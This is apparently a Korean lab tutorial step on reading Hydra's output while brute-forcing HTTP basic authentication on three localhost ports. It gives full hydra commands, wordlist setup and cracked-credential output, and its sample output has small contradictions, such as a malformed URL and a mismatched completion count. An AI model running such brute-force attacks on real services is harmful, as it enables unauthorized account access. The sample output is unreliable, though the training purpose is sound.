여러 호스트에 대한 출력 확인
이 단계에서는 여러 HTTP 대상을 공격할 때 Hydra 의 출력을 해석하는 방법을 배웁니다. Hydra 의 출력은 서로 다른 웹 서비스에서 공격 시도의 성공 또는 실패에 대한 귀중한 정보를 제공합니다.
Hydra 가 HTTP 기본 인증 비밀번호를 성공적으로 해킹하면 다음 형식으로 자격 증명을 표시합니다.
[<포트>][http-get] host: <호스트> login: <사용자 이름> password: <비밀번호>
예를 들어:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
이는 Hydra 가 호스트 127.0.0.1의 포트 8081에서 사용자 admin의 HTTP 기본 인증을 비밀번호 password123으로 성공적으로 해킹했음을 나타냅니다.
HTTP 공격의 출력을 분석하고 서로 다른 결과가 의미하는 바를 이해해 보겠습니다.
-
전체 출력을 보려면 완전한 Hydra 공격 명령을 다시 실행합니다.
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
-
자세한 출력을 검토합니다. 세 가지 대상 모두에 대한 결과가 표시되어야 합니다.
예상되는 포괄적인 출력:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.
-
실패한 시도가 어떻게 보이는지 확인하기 위해 잘못된 자격 증명이 있는 시나리오를 만들어 보겠습니다. 대부분 잘못된 비밀번호가 포함된 새 비밀번호 파일을 만듭니다.
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## 유효한 비밀번호 하나만 포함
-
자세한 출력을 사용하여 Hydra 를 실행하여 성공 및 실패 시도를 모두 확인합니다.
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
자세한 출력에서 성공한 시도를 볼 수 있습니다.
(생략)
[8081][http-get] host: 127.0.0.1 login: admin password: password123
(생략)
-
나중에 분석을 위해 결과를 파일에 저장합니다.
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt
결과 파일을 확인합니다.
cat hydra_results.txt
HTTP 공격 결과 해석 방법:
- 성공적인 공격:
[port][http-get]로 시작하는 줄은 성공적인 자격 증명 발견을 보여줍니다.
- 대상 정보: 각 성공적인 결과는 정확한 호스트, 포트, 사용자 이름 및 비밀번호를 보여줍니다.
- 요약 통계: 마지막 줄은 공격된 대상 수와 발견된 유효한 비밀번호 수를 보여줍니다.
- 실패한 시도: 자세한 모드에서 각 실패한 로그인 시도를 볼 수 있습니다.
- 출력 파일:
-o를 사용하면 분석이 쉬운 성공적인 결과만 파일로 저장합니다.
다른 프로토콜과의 주요 차이점:
- HTTP 공격은 결과에서 포트 번호를 명확하게 표시합니다.
- 응답 시간은 일반적으로 SSH 공격보다 빠릅니다.
- 동일한 서버에서 여러 인증 영역은 다른 대상으로 나타납니다.
- HTTP 상태 코드 (예: 401, 403) 는 실패에 대한 추가적인 맥락을 제공합니다.
이 단계에서는 여러 HTTP 대상을 공격할 때 Hydra 의 출력을 해석하고 성공한 시도와 실패한 시도의 차이를 이해하며 분석을 위해 결과를 저장하는 방법을 배웠습니다. 이 지식은 효과적인 웹 애플리케이션 보안 테스트에 필수적입니다.